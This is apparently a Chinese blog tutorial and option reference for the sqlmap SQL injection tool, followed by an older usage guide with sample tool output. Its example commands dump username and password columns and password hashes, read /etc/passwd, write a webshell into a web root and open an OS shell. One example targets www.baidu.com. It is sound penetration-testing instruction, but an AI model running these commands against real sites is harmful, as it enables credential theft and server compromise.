sqlmap的使用详解(一:概念性较强,涉及众多参数解释,主要是介绍)

本文详细介绍了sqlmap工具的使用,包括不同类型的注入模式、支持的数据库、检测注入的方法、如何跟随302跳转、cookie注入、post数据包注入等。还展示了注入成功后的数据库信息获取、文件读写操作,并列举了sqlmap的各种命令选项,如枚举、优化、注入技术等,是了解和应用sqlmap进行SQL注入测试的重要参考资料。
摘要由CSDN通过智能技术生成

目录

sqlmap简介

sqlmap支持五种不同的注入模式:

sqlmap支持的数据库有:

检测注入

基本格式

跟随302跳转

cookie注入

从post数据包中注入

注入成功后

获取数据库基本信息

从数据库中搜索字段

读取与写入文件

sqlmap详细命令:

Options(选项):

Target(目标):

Request(请求):

Enumeration(枚举):

Optimization(优化):

Injection(注入):

Detection(检测):

Techniques(技巧):

Fingerprint(指纹):

Brute force(蛮力):

File system access(访问文件系统):

Operating system access(操作系统访问):

Windows注册表访问:

Miscellaneous(杂项):


sqlmap简介

sqlmap支持五种不同的注入模式:

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  4. 联合查询注入,可以使用union的情况下的注入。
  5. 堆查询(堆叠)注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

检测注入

基本格式

sqlmap -u “http://www.vuln.cn/post.php?id=1”

默认使用level1检测全部数据库类型

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql --level 3

指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

(注:DBMS是Database Management System 的缩写。 中文:数据库管理系统)

跟随302跳转

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可以使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” --cookie “id=11” --level 2只有level达到2才会检测cookie

从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” --dbms mysql    指定username参数

注入成功后

获取数据库基本信息

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql --level 3 --dbs

查询有哪些数据库

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql --level 3 -D test --tables

查询test数据库中有哪些表

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql --level 3 -D test -T admin --columns

查询test数据库中admin表有哪些字段

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql --level 3 -D test -T admin -C “username,password” --dump

dump出字段username与password中的数据

其他命令参考下面

从数据库中搜索字段

sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先需要找网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id --dbms mysql --file-dest “e:\php\htdocs\dvwa\inc\include\1.php” --file-write “f:\webshell\1112.php”

使用shell命令:

sqlmap -r “c:\tools\request.txt” -p id --dms mysql --os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:

  • --is-dba 当前用户权限(是否为root权限)
  • --dbs 所有数据库
  • --current-db 网站当前数据库
  • --users 所有数据库用户
  • --current-user 当前数据库用户
  • --random-agent 构造随机user-agent
  • --passwords 数据库密码
  • --proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • --time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

Options(选项):

  • --version 显示程序的版本号并退出
  • -h, –help 显示此帮助消息并退出
  • -v VERBOSE 详细级别:0-6(默认为1)
  • 保存进度继续跑:

sqlmap -u “http://url/news?id=1“ --dbs-o “sqlmap.log” 保存进度
sqlmap -u “http://url/news?id=1“ --dbs-o “sqlmap.log” --resume 恢复已保存进度

-v VERBOSE 详细级别:0-6(默认为1):

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面

Target(目标):

以下至少需要设置其中一个选项,设置目标URL。

  • -d DIRECT 直接连接到数据库。
  • -u URL, --url=URL 目标URL。
  • -l LIST 从Burp或WebScarab代理的日志中解析目标。
  • -r REQUESTFILE 从一个文件中载入HTTP请求。
  • -g GOOGLEDORK 处理Google dork的结果作为目标URL。
  • -c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):

这些选项可以用来指定如何连接到目标URL。

  • –data=DATA 通过POST发送的数据字符串
  • –cookie=COOKIE HTTP Cookie头
  • –cookie-urlencode URL 编码生成的cookie注入
  • –drop-set-cookie 忽略响应的Set – Cookie头信息
  • –user-agent=AGENT 指定 HTTP User – Agent头
  • –random-agent 使用随机选定的HTTP User – Agent头
  • –referer=REFERER 指定 HTTP Referer头
  • –headers=HEADERS 换行分开,加入其他的HTTP头
  • –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
  • –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
  • –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
  • –proxy=PROXY 使用HTTP代理连接到目标URL
  • –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
  • –ignore-proxy 忽略系统默认的HTTP代理
  • –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
  • –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
  • –retries=RETRIES 连接超时后重新连接的时间(默认3)
  • –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
  • –safe-url=SAFURL 在测试过程中经常访问的url地址
  • –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。

  • -b, –banner 检索数据库管理系统的标识
  • –current-user 检索数据库管理系统当前用户
  • –current-db 检索数据库管理系统当前数据库
  • –is-dba 检测DBMS当前用户是否DBA
  • –users 枚举数据库管理系统用户
  • –passwords 枚举数据库管理系统用户密码哈希
  • –privileges 枚举数据库管理系统用户的权限
  • –roles 枚举数据库管理系统用户的角色
  • –dbs 枚举数据库管理系统数据库
  • -D DBname 要进行枚举的指定数据库名
  • -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
  • –tables 枚举的DBMS数据库中的表
  • –columns 枚举DBMS数据库表列
  • –dump 转储数据库管理系统的数据库中的表项
  • –dump-all 转储所有的DBMS数据库表中的条目
  • –search 搜索列(S),表(S)和/或数据库名称(S)
  • -C COL 要进行枚举的数据库列
  • -U USER 用来进行枚举的数据库用户
  • –exclude-sysdbs 枚举表时排除系统数据库
  • –start=LIMITSTART 第一个查询输出进入检索
  • –stop=LIMITSTOP 最后查询的输出进入检索
  • –first=FIRSTCHAR 第一个查询输出字的字符检索
  • –last=LASTCHAR 最后查询的输出字字符检索
  • –sql-query=QUERY 要执行的SQL语句
  • –sql-shell 提示交互式SQL的shell

Optimization(优化):

这些选项可用于优化SqlMap的性能。

  • -o 开启所有优化开关
  • –predict-output 预测常见的查询输出
  • –keep-alive 使用持久的HTTP(S)连接
  • –null-connection 从没有实际的HTTP响应体中检索页面长度
  • –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

  • -p TESTPARAMETER 可测试的参数(S)
  • –dbms=DBMS 强制后端的DBMS为此值
  • –os=OS 强制后端的DBMS操作系统为这个值
  • –prefix=PREFIX 注入payload字符串前缀
  • –suffix=SUFFIX 注入payload字符串后缀
  • –tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

  • –level=LEVEL 执行测试的等级(1-5,默认为1)
  • –risk=RISK 执行测试的风险(0-3,默认为1)
  • –string=STRING 查询时有效时在页面匹配字符串
  • –regexp=REGEXP 查询时有效时在页面匹配正则表达式
  • –text-only 仅基于在文本内容比较网页

Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

  • –technique=TECH SQL注入技术测试(默认BEUST)
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
  • –union-cols=UCOLS 定列范围用于测试UNION查询注入
  • –union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):

  • -f, –fingerprint 执行检查广泛的DBMS版本指纹

Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

  • –common-tables 检查存在共同表
  • –common-columns 检查存在共同列

User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径

File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

  • –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
  • –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
  • –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。

  • –os-cmd=OSCMD 执行操作系统命令
  • –os-shell 交互式的操作系统的shell
  • –os-pwn 获取一个OOB shell,meterpreter或VNC
  • –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
  • –os-bof 存储过程缓冲区溢出利用
  • –priv-esc 数据库进程用户权限提升
  • –msf-path=MSFPATH Metasploit Framework本地的安装路径
  • –tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。

  • –reg-read 读一个Windows注册表项值
  • –reg-add 写一个Windows注册表项值数据
  • –reg-del 删除Windows注册表键值
  • –reg-key=REGKEY Windows注册表键
  • –reg-value=REGVAL Windows注册表项值
  • –reg-data=REGDATA Windows注册表键值数据
  • –reg-type=REGTYPE Windows注册表项值类型

这些选项可以用来设置一些一般的工作参数。

  • -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
  • -s SESSIONFILE 保存和恢复检索会话文件的所有数据
  • –flush-session 刷新当前目标的会话文件
  • –fresh-queries 忽略在会话文件中存储的查询结果
  • –eta 显示每个输出的预计到达时间
  • –update 更新SqlMap
  • –save file保存选项到INI配置文件
  • –batch 从不询问用户输入,使用所有默认配置。

Miscellaneous(杂项):

  • –beep 发现SQL注入时提醒
  • –check-payload IDS对注入payloads的检测测试
  • –cleanup SqlMap具体的UDF和表清理DBMS
  • –forms 对目标URL的解析和测试形式
  • –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
  • –page-rank Google dork结果显示网页排名(PR)
  • –parse-errors 从响应页面解析数据库管理系统的错误消息
  • –replicate 复制转储的数据到一个sqlite3数据库
  • –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
  • –wizard 给初级用户的简单向导界面

 

Here is a list of major features implemented in sqlmap: * Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase; * Extensive database management system back-end fingerprint based upon: o Inband DBMS error messages o DBMS banner parsing o DBMS functions output comparison o DBMS specific features such as MySQL comment injection o Passive SQL injection fuzzing * It fully supports two SQL injection techniques: o Blind SQL injection, also known as Inference SQL injection o Inband SQL injection, also known as UNION query SQL injection and it partially supports error based SQL injection as one of the vectors for database management system fingerprint; * It automatically tests all provided GET, POST, Cookie and User- Agent parameters to find dynamic ones. On these it automatically tests and detects the ones affected by SQL injection. Moreover each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three type with one and two brackets to find which is the valid syntax to perform further injections with; * It is possible to provide the name of the only parameter(s) that you want to perform tests and use for injection on, being them GET, POST, Cookie parameters; * SQL injection testing and detection does not depend upon the web application database management system back-end. SQL injection exploiting and query syntax obviously depend upon the web application database management system back-end; * It recognizes valid queries by false ones based upon HTML output page hashes comparison by default, but it is also possible to choose to perform such test based upon string matching; * HTTP requests can be performed in both HTTP method GET and POST (default: GET); * It is possible to perform HTTP requests using a HTTP User-Agent header string randomly selected from a text file; * It is possible to provide a HTTP Cookie header string, useful when the web application requires authentication based upon cookies and you have such data; * It is possible to provide an anonymous HTTP proxy address and port to pass by the HTTP requests to the target URL; * It is possible to provide the remote DBMS back-end if you already know it making sqlmap save some time to fingerprint it; * It supports various command line options to get database management system banner, current DBMS user, current DBMS database, enumerate users, users password hashes, databases, tables, columns, dump tables entries, dump the entire DBMS, retrieve an arbitrary file content (if the remote DBMS is MySQL) and provide your own SQL SELECT statement to be evaluated; * It is possible to make sqlmap automatically detect if the affected parameter is also affected by an UNION query SQL injection and, in such case, to use it to exploit the vulnerability; * It is possible to exclude system databases when enumerating tables, useful when dumping the entire DBMS databases tables entries and you want to skip the default DBMS data; * It is possible to view the Estimated time of arrival for each query output, updated in real time while performing the SQL injection attack; * Support to increase the verbosity level of output messages; * It is possible to save queries performed and their retrieved value in real time on an output text file and continue the injection resuming from such file in a second time; * PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR (or similar) DBMS specific function. 昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。 1、首先安装python2.5。 2、然后进入sqlmap目录,执行sqlmap 详细用法 1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 [hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL >= 5.0.0 4、指定参数注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...] Or if you want to provide more than one parameter, for instance: $ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 5、指定方法和post的数据 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" -- data "id=1&cat=2" 6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 7、通过代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- current-db current database: 'testdb' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- passwords database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs available databases [3]: [*] information_schema [*] mysql [*] testdb python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- columns -T "user" -D "mysql" Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+ 13、显示指定的文件内容,一般用于php python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file / etc/passwd /etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash --- 14、执行你自己的sql语句。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" [hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY' 15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union- check valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- union-use --banner [...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--&cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b - o "sqlmap.log" [...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- banner -o "sqlmap.log" --resume [...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值